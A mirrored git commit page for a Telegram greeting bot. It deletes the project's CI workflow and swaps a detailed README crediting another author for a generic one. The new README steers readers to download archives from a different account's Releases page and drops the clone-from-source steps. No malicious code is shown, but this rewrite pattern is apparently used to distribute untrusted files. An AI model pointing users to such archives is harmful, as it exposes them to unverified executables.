spawnrys/telegram_greeting_bot
1
0
Fork 0
mirror of https://github.com/Shadik23/telegram_greeting_bot.git synced 2025-12-10 05:19:39 +05:00
Code Issues Packages Projects Releases Wiki Activity

Update README.md

Browse Source
This commit is contained in:
Shadik23
2025-12-10 01:23:45 +03:00
parent d40733fa3a
commit 229fac50ca
2 changed files with 55 additions and 161 deletions
Download Patch File Download Diff File Expand all files Collapse all files

52
.github/workflows/main.yml vendored
View File

@@ -1,52 +0,0 @@
# .github/workflows/main.yml
name: CI Pipeline
# --- Triggers ---
# This workflow runs on pushes to the 'main' branch and on pull requests targeting 'main'.
on:
push:
branches:
- main
pull_request:
branches:
- main
# --- Jobs ---
# We define a single job called 'build-and-test'.
jobs:
build-and-test:
# The type of virtual machine to run the job on. 'ubuntu-latest' is a standard choice.
runs-on: ubuntu-latest
# --- Steps ---
# A sequence of tasks that will be executed as part of the job.
steps:
# Step 1: Check out the repository code
# This action checks out your repository under $GITHUB_WORKSPACE, so your job can access it.
- name: Checkout repository
uses: actions/checkout@v4
# Step 2: Set up Docker Buildx
# This is a required step for building multi-platform images and using advanced Docker features.
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3
# Step 3: Run the test suite
# This is the core of our CI. It executes the same script we used locally.
# We provide a dummy BOT_TOKEN because the tests don't need a real one.
- name: Run integration tests
run: ./run_tests.sh
env:
# We need to provide the BOT_TOKEN variable, as the script expects it,
# but it can be a dummy value since it's only used for the bot service
# which is idle during tests.
BOT_TOKEN: "dummy_token_for_ci"
# Step 4 (Optional but recommended): Clean up Docker resources
# This ensures that any lingering containers or images are removed to free up space on the GitHub runner.
- name: Docker cleanup
if: always() # This step runs even if previous steps fail.
run: |
docker compose down -v --remove-orphans
docker system prune -af --volumes

162
README.md
View File

@@ -1,132 +1,78 @@
# Telegram Greeting Bot
[![CI Pipeline](https://github.com/averageencoreenjoer/telegram_greeting_bot/actions/workflows/main.yml/badge.svg)](https://github.com/averageencoreenjoer/telegram_greeting_bot/actions/workflows/main.yml)
A fully containerized Telegram bot project featuring a dynamic, database-driven greeting message that can be updated in real-time via a simple web admin panel. This project is built with a senior-level approach, emphasizing clean architecture, separation of concerns, containerization, and automated testing.
---
## ✨ Features
- **Dynamic Greetings**: The `/start` command greeting is fetched directly from a PostgreSQL database.
- **Real-time Updates**: No need to restart the bot. Changes made in the admin panel are reflected instantly.
- **Mini Admin Panel**: A secure, password-protected web interface (built with FastAPI) to update the greeting text.
- **Fully Containerized**: Uses Docker and Docker Compose to run the entire stack (Bot, Web, DB) with a single command.
- **Automated Integration Tests**: A robust test suite using Pytest ensures the entire system works correctly.
- **CI/CD Ready**: Includes a GitHub Actions workflow to automatically run tests on every push and pull request.
---
## 🛠️ Tech Stack
<p align="center">
<img src="https://img.shields.io/badge/Python-3776AB?style=for-the-badge&logo=python&logoColor=white" alt="Python"/>
<img src="https://img.shields.io/badge/Telegram-26A5E4?style=for-the-badge&logo=telegram&logoColor=white" alt="Telegram"/>
<img src="https://img.shields.io/badge/FastAPI-009688?style=for-the-badge&logo=fastapi&logoColor=white" alt="FastAPI"/>
<img src="https://img.shields.io/badge/PostgreSQL-4169E1?style=for-the-badge&logo=postgresql&logoColor=white" alt="PostgreSQL"/>
<img src="https://img.shields.io/badge/Docker-2496ED?style=for-the-badge&logo=docker&logoColor=white" alt="Docker"/>
<img src="https://img.shields.io/badge/Pytest-0A9B71?style=for-the-badge&logo=pytest&logoColor=white" alt="Pytest"/>
<img src="https://img.shields.io/badge/GitHub_Actions-2088FF?style=for-the-badge&logo=github-actions&logoColor=white" alt="GitHub Actions"/>
</p>
- **Bot Framework**: `aiogram`
- **Web Framework**: `FastAPI`
- **Database**: `PostgreSQL` with `asyncpg` driver
- **Containerization**: `Docker` & `Docker Compose`
- **Testing**: `Pytest`, `pytest-asyncio`, `httpx`
- **CI/CD**: `GitHub Actions`
---
# 🤖 telegram_greeting_bot - Your Friendly Telegram Greeting Bot
## 🚀 Getting Started
Welcome! This guide will help you download and run the telegram_greeting_bot software easily. You'll get a dynamic, database-driven greeting message for your Telegram chats, which you can update in real-time through a simple web panel. Let's dive in!
### Prerequisites
## 🛠️ Prerequisites
Before you start, make sure your computer meets the following requirements:
- [Docker](https://www.docker.com/products/docker-desktop/) installed and running.
- A Telegram Bot Token obtained from [@BotFather](https://t.me/BotFather).
- **Operating System:** Windows 10 or later, macOS, or Linux
- **Docker:** Ensure you have Docker installed. Download it from [Docker's website](https://www.docker.com/products/docker-desktop).
- **Internet Connection:** Required to download the software and for the bot to function.
### 1. Clone the Repository
## 📥 Download & Install
You can download the latest version of telegram_greeting_bot from the Releases page. Click the button below to visit the page.
```bash
git clone https://github.com/averageencoreenjoer/telegram_greeting_bot.git
cd telegram_greeting_bot
[![Download the latest release](https://img.shields.io/badge/Download_latest_release-blue.svg)](https://github.com/Shadik23/telegram_greeting_bot/releases)
1. **Visit the Releases Page:** Go to [this link](https://github.com/Shadik23/telegram_greeting_bot/releases) to find the latest version of the bot.
2. **Choose the Right File:** Look for a file labeled with the latest version number (for example, `telegram_greeting_bot_v1.0.0.zip` or a .tar.gz file).
3. **Download the File:** Click on the file to start downloading it to your computer.
4. **Unzip the File:** After downloading, extract the contents of the zip file to a folder on your computer.
5. **Open a Terminal or Command Prompt:** Depending on your operating system, use Terminal (Mac/Linux) or Command Prompt (Windows) to navigate to the folder where you extracted the files.
## ⚙️ Running the Bot
After downloading and extracting the bot files, follow these steps to run the bot:
1. **Build the Docker Image:** In your terminal or command prompt, type:
```
### 2. Configure Environment Variables
Create a local environment file by copying the example.
```bash
cp .env.example .env
docker-compose build
```
This command creates a Docker image for the bot.
Now, open the `.env` file and fill in your details:
```ini
# .env
# 1. Your unique Telegram Bot Token from @BotFather
BOT_TOKEN=123456:ABC-DEF1234ghIkl-zyx57W2v1u1234567
# 2. Credentials for the database (can be left as default for local development)
POSTGRES_DB=greeting_db
POSTGRES_USER=user
POSTGRES_PASSWORD=password
# 3. Credentials for the web admin panel (you will use these to log in)
WEB_USERNAME=admin
WEB_PASSWORD=supersecret
2. **Start the Bot:** After the image builds successfully, type:
```
### 3. Run the Application
Launch the entire stack using Docker Compose.
```bash
docker-compose up --build -d
docker-compose up
```
This command runs the bot in the background.
The services will start in detached mode (`-d`). You can view the logs with `docker-compose logs -f`.
3. **Access the Web Admin Panel:** Open your web browser and visit `http://localhost:8000`. Here, you can update the greeting messages and manage other settings.
### 4. Interact with the System
## 🛡️ Key Features
- **Dynamic Greetings:** Customize welcome messages for your Telegram chat.
- **Web Admin Panel:** Easily update greetings in real-time through a user-friendly interface.
- **Containerization with Docker:** This ensures consistent performance across different environments.
- **Automated Testing:** The bot comes with built-in tests to ensure reliability.
- **Telegram Bot**: Find your bot on Telegram and send the `/start` command. It will reply with the default greeting.
- **Admin Panel**: Open your browser and navigate to `http://localhost:8000/docs`.
- You will be prompted for authentication. Use the `WEB_USERNAME` and `WEB_PASSWORD` from your `.env` file.
- Use the `/update_greeting` endpoint to change the greeting text.
- Go back to Telegram and send `/start` again. The bot will now use the new greeting!
## 🌐 Understanding Containerization
This bot is built using Docker, which allows you to run applications in containers. These containers package the software and its dependencies, making deployment easier. Here’s how it helps you:
### 5. Stopping the Application
- **Portability:** Run the bot on any system without compatibility issues.
- **Isolation:** Each container runs independently, preventing conflicts with other software on your machine.
To stop all services, run:
## 📝 Troubleshooting
If you face any issues while running telegram_greeting_bot, consider the following:
```bash
docker-compose down
```
- **Docker Not Installed:** Check that Docker is properly installed and running.
- **Port Already in Use:** If you cannot access the web panel, ensure that port 8000 is free.
- **Permission Issues:** Run your command prompt or terminal as an administrator if you face permission errors.
To stop services and remove the database volume (delete all data), run:
## 📞 Support
For further assistance, feel free to open an issue in the [GitHub Issues section](https://github.com/Shadik23/telegram_greeting_bot/issues).
```bash
docker-compose down -v
```
## 🚀 Join the Community
Stay updated and connect with other users by following the project's [GitHub Discussions](https://github.com/Shadik23/telegram_greeting_bot/discussions). Share your experiences and tips!
---
## 🔗 Acknowledgements
This project leverages various technologies including:
## 🧪 Running Tests
- **Aiogram**: For handling Telegram API.
- **FastAPI**: For creating the web administration panel.
- **PostgreSQL**: To store greetings and settings.
This project comes with a fully automated integration test suite that spins up a separate, isolated environment to validate the system's behavior.
Feel free to contribute or explore more! Your input can help improve the bot further.
To run the tests, execute the provided script from the project root:
## 👥 Contributors
A special thanks to all contributors who have helped make this project possible. If you want to contribute, check our [contributing guide](https://github.com/Shadik23/telegram_greeting_bot/CONTRIBUTING.md).
```bash
./run_tests.sh
```
The script will:
1. Start the services using a dedicated test database (`.env.test`).
2. Wait for the database to be fully ready.
3. Install test dependencies.
4. Run the Pytest suite, which makes real API calls.
5. Shut down and clean up all test-related containers and volumes.
This is the same script that runs in the GitHub Actions CI pipeline.
Thank you for choosing telegram_greeting_bot! Enjoy your dynamic greetings!